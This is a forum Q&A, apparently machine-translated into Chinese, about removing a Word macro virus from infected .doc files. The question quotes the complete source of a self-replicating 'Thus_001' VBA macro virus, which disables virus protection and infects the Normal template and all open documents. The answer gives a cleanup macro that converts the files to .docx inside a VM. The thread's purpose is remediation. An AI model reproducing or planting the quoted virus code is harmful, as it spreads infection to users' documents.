我正在努力帮助一个有宏病毒的朋友。
几乎所有他的.doc文件都被感染了,我想删除恶意宏而不删除word文件。
由于我的朋友从不使用宏,我实际上可以删除他系统上的所有宏。
我如何自动执行此任务?
我面临的一个问题是,在打开受感染的doc文件时,我没有删除恶意宏的权限,这是Macro病毒的代码:
Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Save()
Document_Open
End Sub
这是在mac上运行10.6.8 with word 2004
由于
亚历
答案 0 :(得分:1)
最快的方法是使用更现代的Word版本。我做了以下事情。创建VM或拍摄可以回滚到的现有VM的快照。将所有受感染的Word文件放入目录,然后从Word文档运行此宏:
'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
Application.DisplayAlerts = wdAlertsNone
With New Scripting.FileSystemObject
Dim targets As New Collection
Dim current As File
For Each current In .GetFolder("C:\Test").Files
If .GetExtensionName(current.Path) = "doc" Then
targets.Add current
End If
Next
Dim infected As Variant
For Each infected In targets
Dim doc As Document
Set doc = Documents.Open(infected.Path)
doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
doc.Close wdDoNotSaveChanges
Next
End With
Application.DisplayAlerts = wdAlertsAll
End Sub
收集所有生成的.docx文件并将其移出VM,然后将其回滚到快照或删除它。如果您需要保持与Word 2004的兼容性,那么将它们 back 转换为该文件格式几乎可以做同样的事情 - 只需调整文件扩展名并保存为格式。